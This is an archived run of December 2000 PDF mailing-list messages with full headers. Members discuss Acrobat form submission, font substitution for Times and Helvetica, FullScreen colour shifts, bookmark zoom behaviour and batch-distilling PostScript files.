To: Subject: RE: [PDF] Using Acrobat to submit forms Date: Mon, 4 Dec 2000 21:54:16 -0000 Message-ID: <001701c05e3c$bfb17260$510b83c1@gateway.quite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal In-Reply-To: <3A2BF9DE.5AA5E51B@utm.com> Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > > On forms that we would like them to submit � time off, > work schedule changes, time cards, etc. we created > separate 1-page pdf so the could mailto the management > team there fdf's and the management team could view the > data in the acrobat document on their client. > > What we have found it is that we no idea how to make > this work. > > first, the client users get the following error message > ""You need to be running inside a web browser in order > to submit this form"". sounds easy, but how do I make > sure that the acrobat document opens in a web browser? > Is there a setting for this? (we have the netscape > communicator / messenger system installed > company-wide.) This will happen if (a) a compatible browser is in use (b) Acrobat is installed AFTER the browser (Netscape only) (c) ""Web browser integration"" is on in the user's preferences (d) the file comes from the web or is opened in a browser > > Second, My computer opens up the sent forms no > problem, my boss's computer opens them up no problem, > but my boss's boss's computer gives an error message to > the effect of where is the pdf that should be used to > view the fdf data. (If you need exact error message, I > can recreate the scenario). Don't try to use mailto submission. For all sorts of reasons, but unpredictable behaviour and lost messages are two good ones. Another is that Adobe try hard to not make e-mail work with the free Reader, preferring you to use the full product. Instead, use a web-hosted script (ASP or CGI). Aandi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 4-Dec-2000 23:00:47-GMT,4528;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id QAA02885 for ; Mon, 4 Dec 2000 16:00:46 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id RAA02012; Mon, 4 Dec 2000 17:00:29 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Mon, 4 Dec 2000 16:54:43 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id QAA01619; Mon, 4 Dec 2000 16:54:41 -0600 Received: from aifhs8.alcatel.fr (aifhs8.alcatel.fr [212.208.74.153]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA01615 for ; Mon, 4 Dec 2000 16:54:40 -0600 From: randall.larson-maynard@powerconv.alstom.com Received: from vador.hq.dtr.gecalsthom.fr ([159.217.140.54]) by aifhs8.alcatel.fr (ALCANET/SMTP2) with ESMTP id XAA19494; Mon, 4 Dec 2000 23:53:46 +0100 (MET) Received: from mz02world.hq.dtr.gecalsthom.fr (mz02world.dtr.gecalsthom.fr [159.217.150.17]) by vador.hq.dtr.gecalsthom.fr (8.9.3/8.9.3) with SMTP id XAA22425; Mon, 4 Dec 2000 23:47:56 -0100 (GMT) Received: by mz02world.hq.dtr.gecalsthom.fr(Lotus SMTP MTA v4.6.5 (863.2 5-20-1999)) id C12569AB.007DB515 ; Mon, 4 Dec 2000 23:53:03 +0100 X-Lotus-FromDomain: GA To: pdf@lists.pdfzone.com, Framers@frameusers.com Message-ID: Date: Mon, 4 Dec 2000 14:45:50 -0800 Subject: [PDF] Re: SUMMARY, Not Able to Edit Times & Helvetica, Bold Font In Acrobat 4.05a Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Gail Bergan wrote: Because Acrobat 4.0 no longer supports Helvetica and Times (can you say ""copyright violation""?), so when you distilled to PDF, Arial MT got substituted for Helvetica, and Times New Roman PS MT got substituted for Times. You have to use the lookalike fonts of Arial MT or Times New Roman PS MT (or something else entirely) if you want to be able to edit them in PDF. Just one of the rude surprises of Acrobat 4.0. Dov Isaacs wrote: Acrobat 4.0x fully supports Helvetica and Times. However, it does not bundle these fonts. If you generate PostScript that has Times and/or Helvetica embedded, those fonts will embed and be used for display. However, if you have a PostScript file that requests Times or Helvetica and you don't have Times or Helvetica installed, these substitute fonts will be used. If you have license to Times and Helvetica and you know what you are doing, one little trick that works very well is to copy the 8 .pfm and 8 .pfb files for Times and Helvetica into the Acrobat Resource\\Font\\PFM and Resource\\Font directories and delete the corresponding Arial and Times New Roman .pfm and .pfb files. In that case, on your system, PDF files that request Helvetica and Times but don't have them embedded get ""the real thing"" when displayed. Paul Franklin Stregevsky wrote: Your first step is to verify that these fonts are where Distiller can find them. Open Adobe Type Manager, select the Fonts tab, and make sure Times and Helvetica Bold fonts are showing up in the left pane. If they're not, click your way into a PostScript font folder, selecting them, and clicking Add. If Times and Helvetica Bold are, indeed, already visible in ATM's left pane, visit Distiller > Job Options > Font Embedding, and make sure Subset fonts... is deselected. In summary, I checked both situations that Paul mentioned. Both were as he mentioned, so no fix was made. Dov suggested a fix which I was unable to complete successfully. Gail's fix is what I ended up using. As the doc is in it's infancy, as far as a style guide goes, I was able to change fonts and make it work correctly. Randall Larson-Maynard Technical Writer Alstom Schilling Robotics Davis, CA, USA randall.larson-maynard@powerconv.alstom.com http://www.schilling.com Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 5-Dec-2000 8:02:33-GMT,2641;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id BAA15405 for ; Tue, 5 Dec 2000 01:02:32 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id CAA21755; Tue, 5 Dec 2000 02:00:50 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 5 Dec 2000 01:50:24 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id BAA21299; Tue, 5 Dec 2000 01:50:22 -0600 Received: from finch-post-11.mail.demon.net (finch-post-11.mail.demon.net [194.217.242.39]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id BAA21287 for ; Tue, 5 Dec 2000 01:50:16 -0600 Received: from lpiper.demon.co.uk ([158.152.165.240] helo=postle.net) by finch-post-11.mail.demon.net with esmtp (Exim 2.12 #1) id 143Cre-000Fnp-0B for pdf@lists.pdfzone.com; Tue, 5 Dec 2000 07:50:15 +0000 Message-ID: <3A2CAAE4.B12CCFF6@postle.net> Date: Tue, 05 Dec 2000 08:44:21 +0000 From: Denis X-Mailer: Mozilla 4.72 [en]C-CCK-MCD NSCPCD472 (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: [PDF] FullScreen mode colour Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I have a recurring problem with color in full Screen mode. The CDROM distribution pdf (origination in Quark) that I am developing looks fine in menu view in Acrobat 4.05 but in FullScreen there is a marked and unacceptable colour shift towards red/blue. I could adjust the spot colour to be 'tranlsated' adequately but the dozens of colour images are all unacceptably degraded. I am using eBook setup in Distiller and the problem is duplicated on a second (PC 350Meg) machine. Is this an Acrobat fault/limitation? Does anyone have any idea how I might progress a solution? Thanks Denis Postle ps if anyone with pdfmark experience could take a look at my 'linked pdfmarks 12.44' message I'd appreciate that too! Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 5-Dec-2000 14:18:44-GMT,3519;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id HAA22669 for ; Tue, 5 Dec 2000 07:18:43 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA04587; Tue, 5 Dec 2000 08:18:24 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 5 Dec 2000 08:10:50 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id IAA04239; Tue, 5 Dec 2000 08:10:44 -0600 Received: from smtpnew.quark.com (root@smtpnew.quark.com [206.195.78.16]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA04231 for ; Tue, 5 Dec 2000 08:10:42 -0600 Received: from denver.quark.com (denver.quark.com [206.195.71.192]) by smtpnew.quark.com (8.9.3/8.9.3) with ESMTP id HAA18203 for ; Tue, 5 Dec 2000 07:28:34 -0700 Received: by denver.quark.com with Internet Mail Service (5.5.2650.21) id ; Tue, 5 Dec 2000 07:09:57 -0700 Message-ID: <3D62AB6FFC80D211A84700104B10CB2C08734BCF@denver.quark.com> From: Todd Reid To: ""'pdf@lists.pdfzone.com'"" Subject: RE: [PDF] FullScreen mode colour Date: Tue, 5 Dec 2000 07:09:54 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""ISO-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ If it's a shift that seems similar to an RGB->CMYK conversion, then make sure you write .ps from XPress using Composite RGB (assuming you're using XPress 4.1 or later) in your Print Dialog (on the Output Tab for Plates. This will help retain vividness of your colors... Todd Reid Quark, Inc. -----Original Message----- From: Denis [mailto:denis@postle.net] Sent: Tuesday, December 05, 2000 1:44 AM To: pdf@lists.pdfzone.com Subject: [PDF] FullScreen mode colour The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I have a recurring problem with color in full Screen mode. The CDROM distribution pdf (origination in Quark) that I am developing looks fine in menu view in Acrobat 4.05 but in FullScreen there is a marked and unacceptable colour shift towards red/blue. I could adjust the spot colour to be 'tranlsated' adequately but the dozens of colour images are all unacceptably degraded. I am using eBook setup in Distiller and the problem is duplicated on a second (PC 350Meg) machine. Is this an Acrobat fault/limitation? Does anyone have any idea how I might progress a solution? Thanks Denis Postle ps if anyone with pdfmark experience could take a look at my 'linked pdfmarks 12.44' message I'd appreciate that too! Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 5-Dec-2000 15:09:54-GMT,2055;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id IAA23938 for ; Tue, 5 Dec 2000 08:09:53 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA07473; Tue, 5 Dec 2000 09:09:45 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 5 Dec 2000 09:02:52 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id JAA07112; Tue, 5 Dec 2000 09:02:49 -0600 Received: from email.niagarac.on.ca (mail.niagara-college.com [192.197.62.37]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id JAA07103 for ; Tue, 5 Dec 2000 09:02:41 -0600 Received: from NCGWDOMAIN1-Message_Server by email.niagarac.on.ca with Novell_GroupWise; Tue, 05 Dec 2000 10:00:49 -0500 Message-Id: X-Mailer: Novell GroupWise 5.5.4 Date: Tue, 05 Dec 2000 10:00:45 -0500 From: ""Bob Roach"" To: Subject: [PDF] Re: javascript 'delay' code? Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by everglades.binc.net id JAA07108 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Would anyone be willing to share with me the javascript code for creating a programmable delay in script execution? (Tis' the... season, right?) Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 5-Dec-2000 15:35:08-GMT,2263;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id IAA24707 for ; Tue, 5 Dec 2000 08:35:07 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA09065; Tue, 5 Dec 2000 09:34:59 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 5 Dec 2000 09:27:23 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id JAA08678; Tue, 5 Dec 2000 09:27:22 -0600 Received: from mtiwmhc21.worldnet.att.net (mtiwmhc21.worldnet.att.net [204.127.131.46]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA08674 for ; Tue, 5 Dec 2000 09:27:22 -0600 From: geojohn@att.net Received: from webmail.worldnet.att.net ([204.127.135.43]) by mtiwmhc21.worldnet.att.net (InterMail vM.4.01.03.10 201-229-121-110) with SMTP id <20001205152718.BYIV2402.mtiwmhc21.worldnet.att.net@webmail.worldnet.att.net>; Tue, 5 Dec 2000 15:27:18 +0000 Received: from [12.82.129.92] by webmail.worldnet.att.net; Tue, 05 Dec 2000 15:27:17 +0000 To: pdf@lists.pdfzone.com Subject: Re: [PDF] Re: javascript 'delay' code? Date: Tue, 05 Dec 2000 15:27:17 +0000 X-Mailer: AT&T Message Center Version 1 (May 2 2000) X-Authenticated-Sender: geojohn@att.net Message-Id: <20001205152718.BYIV2402.mtiwmhc21.worldnet.att.net@webmail.worldnet.att.net> Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > Would anyone be willing to share with me the > javascript code for creating a programmable delay in > script execution? It might not be possible. What are you trying to accomplish, exactly? George Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 5-Dec-2000 15:48:01-GMT,3010;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id IAA25071 for ; Tue, 5 Dec 2000 08:48:00 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA10113; Tue, 5 Dec 2000 09:47:48 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 5 Dec 2000 09:42:10 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id JAA09528; Tue, 5 Dec 2000 09:42:09 -0600 Received: from anchor-post-32.mail.demon.net (anchor-post-32.mail.demon.net [194.217.242.90]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA09513; Tue, 5 Dec 2000 09:42:04 -0600 Received: from merlin-os.demon.co.uk ([194.222.123.109]) by anchor-post-32.mail.demon.net with smtp (Exim 2.12 #1) id 143KEC-000H9M-0W; Tue, 5 Dec 2000 15:42:02 +0000 Message-ID: Date: Tue, 5 Dec 2000 15:19:29 +0000 To: pdf@lists.pdfzone.com, pdfdev@lists.pdfzone.com From: David R Evans Subject: [PDF] Inherit zoom bookmarks MIME-Version: 1.0 X-Mailer: Turnpike (32) Version 4.01 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I have been creating bookmarks with inter-document bookmark actions (i.e. GoToR in PDF) using a plug-in that I am working on. I am setting the destination to inherit zoom by using, for example, ""/XYZ -4 842 null"" and have found that in Acrobat 4.05 (at least) the zoom is NOT retained. However, if I create similar bookmarks that go elsewhere within the same file, the inherit zoom does work. Is this an Acrobat bug? To check that it was not my plug-in, I tried creating an inter-document bookmark from the Acrobat interface and found that the inherit zoom does not work there. (It did seem to initially but if you save, close and re- open the file it does not.) Can anyone confirm this or suggest a work-around? Regards David --------------------------------------------------------------------------- Dr David R Evans Telephone: (+44) 115 9524333 / 9514230 Merlin Open Systems Facsimile: (+44) 115 9472625 P O Box 230 E-mail: dre@merlin-os.co.uk NOTTINGHAM WWW: http://www.merlin-os.co.uk/ NG2 1LJ, UK Acrobat resellers, specialists in Adobe Acrobat plug-ins and electronic publishing software Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 5-Dec-2000 16:12:17-GMT,4930;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id JAA25857 for ; Tue, 5 Dec 2000 09:12:16 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA12024; Tue, 5 Dec 2000 10:12:13 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 5 Dec 2000 10:06:41 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id KAA11657; Tue, 5 Dec 2000 10:06:40 -0600 Received: from megamail.dsl.net (megamail.dsl.net [209.87.64.97]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA11653 for ; Tue, 5 Dec 2000 10:06:39 -0600 Received: from goprep.com (64-51-1-106.client.dsl.net [64.51.1.106]) by megamail.dsl.net (8.9.3/8.9.3) with ESMTP id LAA08305 for ; Tue, 5 Dec 2000 11:06:37 -0500 Message-ID: <3A2D13F2.F352C92A@goprep.com> Date: Tue, 05 Dec 2000 11:12:41 -0500 From: cjmarch X-Mailer: Mozilla 4.73 (Macintosh; U; PPC) X-Accept-Language: en MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: Re: [PDF] Re: SUMMARY, Not Able to Edit Times & Helvetica, Bold Font InAcrobat 4.05a References: Content-Type: text/plain; charset=us-ascii; x-mac-type=""54455854""; x-mac-creator=""4D4F5353"" Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ This may pertain to your problem. - Try this web site http://www.macfixit.com/archives/december.00.a.shtml#msfont-12-04 Pete Prep Inc. Buffalo, N.Y. randall.larson-maynard@powerconv.alstom.com wrote: > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > Gail Bergan wrote: > Because Acrobat 4.0 no longer supports Helvetica and Times (can you say > ""copyright > violation""?), so when you distilled to PDF, Arial MT got substituted for > Helvetica, > and Times New Roman PS MT got substituted for Times. You have to use the > lookalike > fonts of Arial MT or Times New Roman PS MT (or something else entirely) if you > want > to be able to edit them in PDF. Just one of the rude surprises of Acrobat 4.0. > > Dov Isaacs wrote: > Acrobat 4.0x fully supports Helvetica and Times. However, it does not bundle > these fonts. If you generate PostScript that has Times and/or Helvetica > embedded, > those fonts will embed and be used for display. > However, if you have a PostScript file that requests Times or Helvetica and you > don't have Times or Helvetica installed, these substitute fonts will be used. > If you have license to Times and Helvetica and you know what you are doing, one > little trick that works very well is to copy the 8 .pfm and 8 .pfb files for > Times and Helvetica into the Acrobat Resource\\Font\\PFM and Resource\\Font > directories > and delete the corresponding Arial and Times New Roman .pfm and .pfb files. > In that case, on your system, PDF files that request Helvetica and Times but > don't > have them embedded get ""the real thing"" when displayed. > > Paul Franklin Stregevsky wrote: > Your first step is to verify that these fonts are where Distiller can find > them. Open Adobe Type Manager, select the Fonts tab, and make sure Times > and Helvetica Bold fonts are showing up in the left pane. If they're not, > click your way into a PostScript font folder, selecting them, and clicking > Add. > If Times and Helvetica Bold are, indeed, already visible in ATM's left > pane, visit Distiller > Job Options > Font Embedding, and make sure Subset > fonts... is deselected. > > In summary, I checked both situations that Paul mentioned. Both were as he > mentioned, so no fix was made. Dov suggested a fix which I was unable to > complete successfully. Gail's fix is what I ended up using. As the doc is in > it's infancy, as far as a style guide goes, I was able to change fonts and make > it work correctly. > > Randall Larson-Maynard > Technical Writer > Alstom Schilling Robotics > Davis, CA, USA > randall.larson-maynard@powerconv.alstom.com > http://www.schilling.com > > Receive the latest PDF News in your Inbox. > > ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 5-Dec-2000 16:24:24-GMT,2226;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id JAA26342 for ; Tue, 5 Dec 2000 09:24:23 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA12883; Tue, 5 Dec 2000 10:24:18 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 5 Dec 2000 10:18:40 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id KAA12441; Tue, 5 Dec 2000 10:18:38 -0600 Received: from md-admin.ags.com (md-admin.ags.com [216.32.72.10]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA12437 for ; Tue, 5 Dec 2000 10:18:37 -0600 Received: by md-admin.ags.com with Internet Mail Service (5.5.2650.21) id ; Tue, 5 Dec 2000 11:18:37 -0500 Message-ID: <081F59AF1333D311AF7D00805FA713BBBF5129@md-admin.ags.com> From: ""Cratty, Ken"" To: ""'pdf@lists.pdfzone.com'"" Subject: [PDF] Batch Process multiple postricript files to 1 pdf file Date: Tue, 5 Dec 2000 11:18:36 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I am looking for a utility for Acrobat Distiller that will process multiple postrcript files to one PDF file without any font conflicts. I know of the instructions from Acrobat to use the postscript utility. I was hoping there is something easier. Ken Cratty Electronic Prepress 4590 Graphics Drive White Plains, MD 20695 301.843.1800 ext.470 800.678.8760 Fax: 301.843.6339 kcratty@ags.com Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 5-Dec-2000 16:58:32-GMT,2644;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id JAA27469 for ; Tue, 5 Dec 2000 09:58:30 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA15821; Tue, 5 Dec 2000 10:57:49 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 5 Dec 2000 10:50:04 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id KAA15328; Tue, 5 Dec 2000 10:50:01 -0600 Received: from smtp.digapp.com ([38.164.135.2]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id KAA15322 for ; Tue, 5 Dec 2000 10:49:59 -0600 Received: from [207.29.200.50] by smtp.digapp.com (AppleShare IP Mail Server 6.3) id 37165 via TCP with SMTP; Tue, 05 Dec 2000 11:50:49 -0500 Mime-Version: 1.0 X-Sender: leonardr@smtp.digapp.com Message-Id: In-Reply-To: <081F59AF1333D311AF7D00805FA713BBBF5129@md-admin.ags.com> References: <081F59AF1333D311AF7D00805FA713BBBF5129@md-admin.ags.com> Date: Tue, 5 Dec 2000 11:47:27 -0500 To: pdf@lists.pdfzone.com From: Leonard Rosenthol Subject: Re: [PDF] Batch Process multiple postricript files to 1 pdf file Cc: kcratty@ags.com Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ At 11:18 AM -0500 12/5/00, Cratty, Ken wrote: >I am looking for a utility for Acrobat Distiller that will process multiple >postrcript files to one PDF file without any font conflicts. For what platform? Mac OS or Windows? What do you mean by ""font conflicts""? Are you trying to avoid having multiple copies of the same font in the file? Leonard -- ---------------------------------------------------------------------------- Leonard Rosenthol Sr. Software Engineer (215) 922-3509 (voice) Digital Applications (215) 440-0504 (fax) PGP Fingerprint: 8CC9 8878 921E C627 0BC1 15BB FC19 64A9 0016 1397 Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 5-Dec-2000 17:14:29-GMT,3359;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id KAA27937 for ; Tue, 5 Dec 2000 10:14:28 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA16893; Tue, 5 Dec 2000 11:13:47 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 5 Dec 2000 11:08:22 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id LAA16585; Tue, 5 Dec 2000 11:08:20 -0600 Received: from md-admin.ags.com (md-admin.ags.com [216.32.72.10]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA16581 for ; Tue, 5 Dec 2000 11:08:19 -0600 Received: by md-admin.ags.com with Internet Mail Service (5.5.2650.21) id ; Tue, 5 Dec 2000 12:08:30 -0500 Message-ID: <081F59AF1333D311AF7D00805FA713BBBF512A@md-admin.ags.com> From: ""Cratty, Ken"" To: ""'pdf@lists.pdfzone.com'"" Subject: RE: [PDF] Batch Process multiple postscript files to 1 pdf file Date: Tue, 5 Dec 2000 12:08:29 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I've experienced problems when a font would bold after incorporating more than one pdf file together. Acrobat recommends using the postscript file that is bundled with Acrobat Distiller. This is a time consuming task. I was hoping that there was a more user friendly utility. -----Original Message----- From: Leonard Rosenthol [mailto:leonardr@digapp.com] Sent: Tuesday, December 05, 2000 8:47 AM To: pdf@lists.pdfzone.com Cc: Cratty, Ken Subject: Re: [PDF] Batch Process multiple postricript files to 1 pdf file The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ At 11:18 AM -0500 12/5/00, Cratty, Ken wrote: >I am looking for a utility for Acrobat Distiller that will process multiple >postrcript files to one PDF file without any font conflicts. For what platform? Mac OS or Windows? What do you mean by ""font conflicts""? Are you trying to avoid having multiple copies of the same font in the file? Leonard -- ---------------------------------------------------------------------------- Leonard Rosenthol Sr. Software Engineer (215) 922-3509 (voice) Digital Applications (215) 440-0504 (fax) PGP Fingerprint: 8CC9 8878 921E C627 0BC1 15BB FC19 64A9 0016 1397 Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 5-Dec-2000 17:52:55-GMT,2896;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id KAA29184 for ; Tue, 5 Dec 2000 10:52:55 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA19272; Tue, 5 Dec 2000 11:52:08 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 5 Dec 2000 11:46:25 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id LAA18870; Tue, 5 Dec 2000 11:46:23 -0600 Received: from smtp.digapp.com (smtp.digapp.com [38.164.135.2]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id LAA18866 for ; Tue, 5 Dec 2000 11:46:21 -0600 Received: from [207.29.200.50] by smtp.digapp.com (AppleShare IP Mail Server 6.3) id 37435 via TCP with SMTP; Tue, 05 Dec 2000 12:47:38 -0500 Mime-Version: 1.0 X-Sender: 